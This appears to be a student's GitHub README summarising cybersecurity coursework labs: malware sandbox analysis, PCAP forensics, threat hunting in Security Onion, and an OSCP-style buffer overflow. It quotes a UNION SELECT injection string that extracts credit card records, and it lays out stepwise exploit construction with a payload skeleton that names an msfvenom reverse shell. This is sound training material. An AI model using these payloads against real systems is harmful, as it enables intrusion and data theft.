Dib68/epicode-build-week-u3
GitHub: Dib68/epicode-build-week-u3
EPICODE 网络安全硕士课程的实验报告集合,涵盖恶意软件分析、网络取证、威胁狩猎和漏洞利用等 SOC 实战技能的完整学习记录。
Stars: 0 | Forks: 0
# Build Week U3 — Cybersecurity SOC & 恶意软件分析
**课程:** Cybersecurity 硕士 — EPICODE
**学生:** Damiano Di Biase
**阶段:** Build Week 3 — Unità 3
**重点:** 恶意软件分析、网络取证、threat hunting、exploit development
## 本周概览
第三次 Build Week 涵盖了 SOC 分析师和恶意软件分析师的完整操作链:从识别 Linux 服务器上的可疑进程,到从 PCAP 中提取可执行文件,再到 Security Onion 上的 threat hunting 以及手动利用 buffer overflow。实验均在隔离环境中进行(沙箱 VM、Cisco CyberOps Workstation、Security Onion)。
## 仓库结构
```
epicode-build-week-u3/
├── reports/ # Report PDF originali (10 file)
└── notes/ # Appunti e cheatsheet
```
## Lab 01 — 静态和动态恶意软件分析
**文件:** [`reports/01_malware_analysis.pdf`](reports/01_malware_analysis.pdf)
### 场景
收到关于在企业端点上发现可疑文件 (`AdwereCleaner.exe`) 的告警。在没有互联网连接的隔离 VM 中进行分析。
### 操作内容
1. **收集 hash** — 计算样本的 SHA256 以进行唯一识别,并在 threat intel 上进行搜索
2. **静态分析** — 执行 `file` 和 `strings` 以识别 PE 类型、导入的库、可读字符串(C2 URL、registry keys、文件路径)
3. **PEStudio** — 导入二进制文件以分析 PE 节、import table(加载的 DLL)、静态入侵指标以及 entropy(packaging/packing)
4. **动态分析** — 在开启 Process Monitor 的沙箱中运行;观察创建的子进程、写入的注册表键、尝试的网络连接
5. **IOC extraction** — 收集 hash、联系的 IP/域名、写入的文件路径、修改的注册表键
6. **Remediation** — 隔离文件,将 hash 加入黑名单,隔离端点
### 使用的工具
`file`、`strings`、PEStudio、Process Monitor、隔离的沙箱 VM
## Lab 02 — Linux 服务器进程分析
**文件:** [`reports/02_server_linux.pdf`](reports/02_server_linux.pdf)
### 场景
访问 Cisco CyberOps Workstation (Linux)。识别监听服务,并通过手动连接验证可达性。
### 操作内容
1. **`ps aux`** — 列出所有正在运行的进程,识别出 nginx (PID 395) 和 sshd (PID 277)
2. **`netstat -tunap`** — 映射监听端口:
- TCP/80 → nginx (PID 395) — web server
- TCP/22 → sshd (PID 277) — SSH
- UDP/68 → DHCP 客户端(无法使用 telnet 测试,因为它是 UDP)
3. **`telnet localhost 80`** — 验证 HTTP 连接;返回 `400 Bad Request` 证实 nginx 正在响应
4. **`telnet localhost 22`** — 验证 SSH 连接;确认了 `SSH-2.0-OpenSSH_*` banner
5. **UDP 分析** — 解释了为什么 UDP/68(DHCP 客户端)无法使用 telnet 进行测试(无连接协议)
### 掌握的关键概念
- TCP(面向连接,可用 telnet 测试)与 UDP(无连接)的区别
- 读取 netstat 中的 PID 列以将端口与进程关联
- 识别合法服务与异常情况
### 使用的工具
`ps`、`netstat`、`telnet`
## Lab 03 — Linux 文件系统与权限
**文件:** [`reports/03_filesystem_permessi.pdf`](reports/03_filesystem_permessi.pdf)
### 场景
管理连接到 VM 的第二块硬盘。手动挂载、配置权限、理解 symlink 与 hard link 的区别。
### 操作内容
1. **`lsblk`** — 识别出未挂载的第二个设备 (`/dev/sdb1`)
2. **挂载** — `mkdir ~/second_drive && mount /dev/sdb1 ~/second_drive/` — 使硬盘可访问
3. **使用 chmod 设置权限** — 对一个目录应用 `chmod 665`:
- Owner:read+write (6)
- Group:read+write (6)
- Others:read+execute (5)
4. **`chown`** — 修改文件/目录的所有者和所属组
5. **Symlink 与 Hard link:**
- `ln -s target link_name` → symlink:指向路径的指针;如果重命名或移动原始文件,链接会失效
- `ln target link_name` → hard link:直接指向 inode 的指针;即使重命名或移动原始文件也能继续生效,因为两者共享同一个 inode
6. **读取 permission bits** — 分析 `rwxr-xr--` 字符串并将其转换为八进制
### 掌握的关键概念
- Linux 文件系统使用 inode 作为文件的物理引用
- Hard link = 指向同一 inode 的别名;symlink = 指向路径的别名
- 八进制权限及其读取方式 (r=4, w=2, x=1)
### 使用的工具
`lsblk`、`mount`、`chmod`、`chown`、`ln`
## Lab 04 — 使用 Wireshark 和 tcpdump 分析 HTTP 与 HTTPS
**文件:** [`reports/04_http_https_wireshark.pdf`](reports/04_http_https_wireshark.pdf)
### 场景
捕获在 HTTP 网站和 HTTPS 网站上登录时的网络流量,以展示这两种协议在安全性上的差异。
### 操作内容
1. **使用 tcpdump 捕获:**
tcpdump -i enp0s3 -s 0 -w httpdump.pcap
- `-i enp0s3` — 要监控的网络接口
- `-s 0` — 捕获完整数据包(不限快照长度)
- `-w httpdump.pcap` — 保存为文件以便使用 Wireshark 进行离线分析
2. **HTTP 分析(端口 80):**
- 在 Wireshark 中打开 PCAP
- 过滤器:`http.request.method == "POST"`
- 在 POST 主体中发现明文:`uid=Admin&passw=Admin`
- 凭据完全可被任何拦截流量的人读取
3. **HTTPS 分析(端口 443):**
- 在启用 TLS 的情况下执行相同流程
- payload 仅显示 `Encrypted Application Data` — 没有私钥则数据不可读
- TLS handshake 是可见的(Client Hello, Server Hello, Certificate),但内容是加密的
### 实践演示
本次实验具体证明了为什么 HTTP 在发送凭据时是不安全的:处于 MITM (man-in-the-middle) 位置或有权访问该网段的攻击者可以读取明文的用户名和密码。使用 TLS 的 HTTPS 使得在没有密钥的情况下进行这种读取变得不可能。
### 使用的工具
`tcpdump`、Wireshark(HTTP 过滤器,Follow TCP Stream)
## Lab 05 — 使用 ANY.RUN 进行沙箱分析(两个样本)
**文件:** [`reports/05_esercizio_b.pdf`](reports/05_esercizio_b.pdf)
### 场景
通过在线平台 ANY.RUN 对两个真实的恶意软件样本进行动态分析,该平台在 VM 中运行文件,并记录其行为、进程、网络连接和注册表更改。
### 样本 1 — Vidar Stealer (`66bddfcb52736_vidar.exe`)
| 字段 | 值 |
|---|---|
| ANY.RUN 判定 | MALICIOUS — Score 100/100 |
| 家族 | Vidar Stealer |
| 主 PID | 6780 |
| 标签 | stealer, telegram, trojan |
**Vidar 是什么:**
自 2018 年起活跃的信息窃取程序,在 dark web 上作为 MaaS (Malware-as-a-Service) 以 250-700 美元的价格出售。使用 C++ 编写,是 Arkei stealer 的衍生版本。
**观察到的行为:**
- 生成 `RegAsm.exe` 的子进程(被用作掩护的合法 .NET 工具)
- **T1012** Query Registry — 读取计算机名称和系统语言
- **T1082** System Information Discovery — 分析操作环境
- 执行后自我删除(anti-forensics)
- 与 C2 服务器进行 9 次同步操作
- 窃取浏览器凭据、历史记录、crypto wallet、消息,并进行屏幕截图
- 如果检测到系统位于俄罗斯/前苏联地区则不执行操作(geo-fence)
**Remediation:**
- 立即隔离 + 阻断 `RegAsm.exe` 的子进程
- 通过 EDR 将 SHA-256 加入所有端点的黑名单
- 分析网络日志以查找已发生的 C2 outbound 连接
- **强制重置** 用户的所有密码(浏览器、电子邮件、VPN、企业访问权限)
- 检查 crypto wallet 是否存在未经授权的交易
### 样本 2 — Trojan.MSIL/Jalapeno (`MSG.exe`)
| 字段 | 值 |
|---|---|
| Hash SHA-256 | `325396d5ffca8546730b9a56c2d0ed99238d48b5e1c3c49e7d027505ea13b8d1` |
| VirusTotal 判定 | 56/72 vendor — 恶意 |
| 家族 | msil, jalapeno, stealerc |
| Community Score | -10 |
**Jalapeno 是什么:**
包含 stealer-C 组件(数据窃取 + 远程控制)的 .NET/MSIL 木马。被 VirusTotal 上的 56/72 个反病毒软件检出。
**观察到的行为:**
- **Persistence** — 可在重启后存活(注册表键或计划任务)
- **Spreader** — 通过 USB 或网络共享传播(横向移动)
- **Detect-debug-environment** — 在执行前检查是否存在 debugger/sandbox
- **Checks-cpu-name** — 通过处理器名称检测 VM(规避)
- **Long-sleeps** — 长时间等待以规避沙箱分析(基于超时的规避)
- **Calls-WMI** — 通过 Windows Management Instrumentation 收集系统信息
- **Checks-user-input** — 监控用户活动(潜在的 keylogging)
**Remediation:**
- 立即将端点从网络隔离
- 扫描所有连接的 USB 设备和可访问的网络共享
- 搜索计划任务及异常的 `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` 键
- 分析 Active Directory 日志以检测已发生的横向移动
### 两个样本的对比
| 特征 | Vidar | Jalapeno |
|---|---|---|
| 类型 | Information Stealer | Trojan / Stealer-C |
| 判定 | 100/100 | 56/72 vendor |
| 窃取凭据 | 是 | 是 |
| 持久化 | 否 | 是 |
| Anti-sandbox | 自我删除 | Long-sleep + debug check |
| 横向传播 | 否 | 是 (spreader) |
| 语言 | C++ | .NET/MSIL |
| C2 通信 | 是(已确认) | 极有可能 |
### 使用的工具
ANY.RUN(动态沙箱)、VirusTotal
## Lab 06 — 从 PCAP 提取可执行文件
**文件:** [`reports/06_pcap_executable_extraction.pdf`](reports/06_pcap_executable_extraction.pdf)
### 场景
分析 `nimda.download.pcap` 文件,以识别并提取通过 HTTP 传输的恶意可执行文件。
### 操作内容
1. **在 Wireshark 中分析 PCAP:**
- 识别出 TCP three-way handshake:SYN → SYN-ACK → ACK
- 随后是用于下载文件的 `HTTP GET` 请求
2. **提取文件:**
- 菜单:`File → Export Objects → HTTP`
- Wireshark 显示了下载的对象:`W32.Nimda.Amm.exe`
- 保存文件以供后续分析
3. **分析提取的文件:**
file W32.Nimda.Amm.exe
输出:`PE32+ executable (console) x86-64, for MS Windows`
深入分析:该文件实际上是 `cmd.exe`(Windows shell)重命名后的副本,并非原始的 Nimda 蠕虫 —— 但通过 HTTP 在不安全网络上下载的模式是完全一致的。
4. **重建攻击链:**
- 攻击者从 HTTP 服务器上提供该文件
- 受害者(或已存在的恶意软件)通过 GET 下载了该 PE32
- 流量以明文传输,因此可以通过 PCAP 重建
### 掌握的关键概念
- Wireshark 可以重新组装 TCP 流并重建传输的文件
- Export Objects 适用于 HTTP、SMB、FTP、DICOM
- 即使是像 cmd.exe 这样的“合法”文件也可用作 payload (LOLBins)
### 使用的工具
Wireshark (Export Objects > HTTP)、`file`
## Lab 07 (Bonus) — Threat Actor:SQL Injection + DNS Exfiltr
**文件:** [`reports/07_bonus_http_dns_actor.pdf`](reports/07_bonus_http_dns_actor.pdf)
### 场景
在 Security Onion / Kibana / Zeek 上进行取证分析,以识别分两阶段发动攻击的 threat actor:利用 SQL injection 窃取数据,随后利用 DNS exfiltration 进行数据渗出。
### 操作内容
#### 阶段 1 — SQL Injection
- 分析 Kibana/Zeek 中的 HTTP 日志
- 在 username 字段中识别出 injection 查询:
username='+union+select+ccid,ccnumber,ccv,expiration,null+from+credit_cards--
- 攻击者使用 `UNION SELECT` 访问了 `credit_cards` 表
- 渗出了 **5 条信用卡记录** (ccid、卡号、CVV、有效期)
#### 阶段 2 — DNS Exfiltration
- 分析 Kibana/Zeek 中的 DNS 日志
- 识别出包含 hex-encoded 字符串的异常子域名的 DNS 查询:
4f46464943.....com
- 使用以下命令解码:
echo "4f46464943..." | xxd -r -p
输出:`"CONFIDENTIAL DOCUMENT DO NOT SHARE"`
- 攻击者正将 DNS 请求用作渗出数据的隐蔽通道 (covert channel)
### 掌握的关键概念
- 基于 UNION 的 SQL Injection 可用于提取未授权的表
- DNS exfiltration:DNS 查询很少被防火墙拦截 —— 是进行隐蔽渗出的理想通道
- Zeek/Bro 会创建结构化日志 (conn.log、http.log、dns.log),可在 Kibana 中进行分析
- DNS exfiltration 的指标:极长的子域名、大量指向同一域名的查询、子域名中包含十六进制字符
### 使用的工具
Security Onion、Kibana、Zeek/Bro、`xxd`
## Lab 08 (Bonus) — 5-Tuple 分析:识别 FTP Threat Actor
**文件:** [`reports/08_bonus_5tuple.pdf`](reports/08_bonus_5tuple.pdf)
### 场景
Sguil 告警:`GPL ATTACK_RESPONSE id check returned root`。通过 5-tuple 分析和 Kibana 关联来识别攻击者、受害者和被盗文件。
### 5-tuple
每个网络连接都由以下要素唯一标识:
1. **源 IP** (threat actor)
2. **源端口**
3. **目标 IP** (受害者)
4. **目标端口**
5. **协议**
### 操作内容
1. **Sguil 告警:**
- 规则:`GPL ATTACK_RESPONSE id check returned root`
- 目标:`209.165.200.235`
- Threat actor:`209.165.201.17`
2. **在 Wireshark 中验证 (Follow TCP Stream):**
- 会话显示了包含 `root` 的命令输出 —— 证实已获得特权访问
3. **在 Kibana 中关联 (Zeek bro_ftp 日志):**
- 识别出 FTP 连接:
- 源:`192.168.0.11:52776`
- 目标:`209.165.200.235:21`(标准 FTP 端口)
- 下载的文件:`confidential.txt`
4. **攻击重建:**
- 攻击者 (209.165.201.17) 攻陷了目标 (209.165.200.235) 并获得了 root 访问权限
- 随后使用 FTP 渗出了 `confidential.txt`
- Sguil 告警检测到“root”响应,作为发生 privilege escalation 的指标
### 掌握的关键概念
- 5-tuple 可用于将表面上不相关的事件(IDS 告警 + FTP 日志)关联到同一安全事件
- Sguil/Squert 是 Security Onion 中用于 IDS 告警的前端
- Kibana + Zeek 允许跨多种协议“追踪” threat actor
### 使用的工具
Security Onion、Sguil、Kibana、Zeek、Wireshark
## Lab 09 (Extra) — Mydoom 源码静态分析
**文件:** [`reports/09_extra_mydoom_source.pdf`](reports/09_extra_mydoom_source.pdf)
### 场景
对 Mydoom 蠕虫(2004年)的源码进行静态分析 —— 该恶意软件造成了历史上代价最昂贵的拒绝服务攻击(估计造成 380 亿美元损失)。仅进行静态分析:不进行编译或执行。
### 操作内容
1. **搜索 SMTP 和网络模式:**
rg -n "SMTP|socket|connect|send|recv" mydoom_src/
- 识别出通过电子邮件自动传播的模块:蠕虫会读取通讯录并自动将其作为附件发送
2. **搜索系统和 registry 功能:**
rg -n "RegSetValue|Run|CreateFile|3127" mydoom_src/
- 带有 `Run` 键的 `RegSetValue` → 重启后的 persistence
- 端口 `3127` → 在受感染主机上打开的 TCP backdoor,用于远程访问
3. **MITRE ATT&CK 映射:**
| 技术 | ID | 源码中的证据 |
|---|---|---|
| Phishing/email attachment | T1566 | SMTP 自动传播模块 |
| Registry Run Keys | T1547 | `RegSetValue` + `Run` key |
| Application Layer Protocol (SMTP) | T1071 | 用于传播的 SMTP socket |
| Command Scripting | T1059 | 通过 backdoor 执行命令 |
| Non-Standard Port | T1571 | 端口 3127 上的 backdoor |
### 掌握的关键概念
- 对源码进行静态分析可以在不执行恶意软件的情况下准确映射 MITRE 技术
- Mydoom 结合了自动传播、backdoor (trojan) 和 DDoS (botnet)
- `rg` (ripgrep) 在处理大型代码库时比 `grep` 快得多
### 使用的工具
`rg` (ripgrep)、手动 C 代码分析
## Lab 10 (Extra) — 栈溢出 (OSCP 风格)
**文件:** [`reports/10_extra_buffer_overflow.pdf`](reports/10_extra_buffer_overflow.pdf)
### 场景
利用监听在 TCP/1337 上的易受攻击应用程序 (`oscp.exe`),遵循针对 Windows x86 上 buffer overflow 的标准 OSCP 方法论。
### 分步方法论
#### Step 1 — Fuzzing 并确认崩溃
发送长度递增的 payload,直到应用程序崩溃:
- 连接:`nc 1337`
- 确认在 payload 约为 2000 字节时发生崩溃
- 证实 EIP 可被覆盖:`EIP = 0x41414141` ("AAAA")
#### Step 2 — 计算精确偏移量
```
# 生成 3000 字节的循环 pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
- 将 pattern 发送到目标
- 崩溃时的 EIP:`0x6f43396e`
- 搜索偏移量:
pattern_offset.rb -l 3000 -q 0x6f43396e
**找到偏移量:1978 字节**
#### Step 3 — 确认 EIP 控制权
```
payload = b"A" * 1978 + b"BBBB" + b"C" * 16
# → EIP = 0x42424242 ✓ (控制权已确认)
```
#### Step 4 — 识别 badchars
在 padding 之后发送从 `\x01` 到 `\xff` 的所有字节:
- **找到的 badchars:** `\x00`、`\x07`、`\x2e`、`\xa0`
- 这些字节会被应用程序截断或修改,不能出现在 shellcode 中
#### Step 5 — 寻找 JMP ESP
在 Immunity Debugger 中使用 Mona.py:
```
!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"
```
- 找到无 ASLR/DEP 的 JMP ESP 地址:**`0x625011af`**
- 此地址会将执行重定向到栈(shellcode 所在的位置)
#### Step 6 — 最终 payload 结构
```
padding = b"A" * 1978 # riempie il buffer fino a EIP
eip = b"\xaf\x11\x50\x62" # 0x625011af in little-endian
nop_sled = b"\x90" * 32 # NOP sled per margine di atterraggio
shellcode = b"" # generated: msfvenom -p windows/shell_reverse_tcp ...
payload = padding + eip + nop_sled + shellcode
```
### 掌握的关键概念
- 栈布局:buffer → saved EBP → saved EIP → return address
- Little-endian:payload 中的地址需按倒序写入
- 作为 pivot 的 JMP ESP:用 JMP ESP 覆盖 EIP 会重定向至 ESP,即我们的 shellcode 所在处
- NOP sled:shellcode 之前的容错空间,用于补偿栈指针的偏移
- Badchars:会破坏 payload 的字节,必须在生成 shellcode 时予以排除
### 使用的工具
Immunity Debugger、Mona.py (`pattern_create`、`pattern_offset`、`jmp -r esp`)、netcat、Python
## 展示技能总结
| 领域 | 技能 |
|---|---|
| **Malware Analysis** | 静态分析 (PEStudio, strings, file)、动态分析(沙箱、Process Monitor)、IOC extraction、ANY.RUN、MITRE ATT&CK 映射 |
| **Network Forensics** | tcpdump、Wireshark(过滤器、Follow Stream、Export Objects)、PCAP 分析、TCP 会话重建 |
| **Threat Hunting** | Security Onion、Kibana、Zeek/Bro、Sguil、5-tuple 关联、DNS exfiltration 追踪、SQL injection 检测 |
| **Linux** | 进程分析 (ps, netstat)、文件系统 (mount, lsblk, chmod, chown)、symlink 与 hard link |
| **Exploit Development** | 栈溢出 (fuzzing → offset → badchars → JMP ESP → shellcode)、Immunity Debugger、Mona.py |
| **Threat Intelligence** | VirusTotal、MITRE ATT&CK Navigator、IOC 收集、恶意软件家族识别 |
## 工具列表汇总
| 工具 | Lab | 类别 |
|---|---|---|
| PEStudio | 01, 05 | Malware Analysis |
| Process Monitor | 01 | DFIR |
| ANY.RUN | 05 | 沙箱动态分析 |
| VirusTotal | 05 | Threat Intelligence |
| tcpdump | 04 | 网络捕获 |
| Wireshark | 04, 06, 08 | 网络分析 |
| netstat | 02 | 进程/网络 |
| Security Onion | 07, 08 | SIEM/threat hunting |
| Kibana | 07, 08 | 日志分析 |
| Zeek/Bro | 07, 08 | 网络监控 |
| Sguil | 08 | IDS 告警管理 |
| ripgrep (rg) | 09 | 代码分析 |
| Immunity Debugger | 10 | Exploit 开发 |
| Mona.py | 10 | Exploit 开发 |
| xxd | 07 | 数据解码 |
*Damiano Di Biase — EPICODE Master in Cybersecurity*
标签:DAST, DNS 反向解析, IP 地址批量处理, 安全实验报告, 安全运营中心, 恶意软件分析, 网络信息收集, 网络安全, 网络映射, 越狱测试, 隐私保护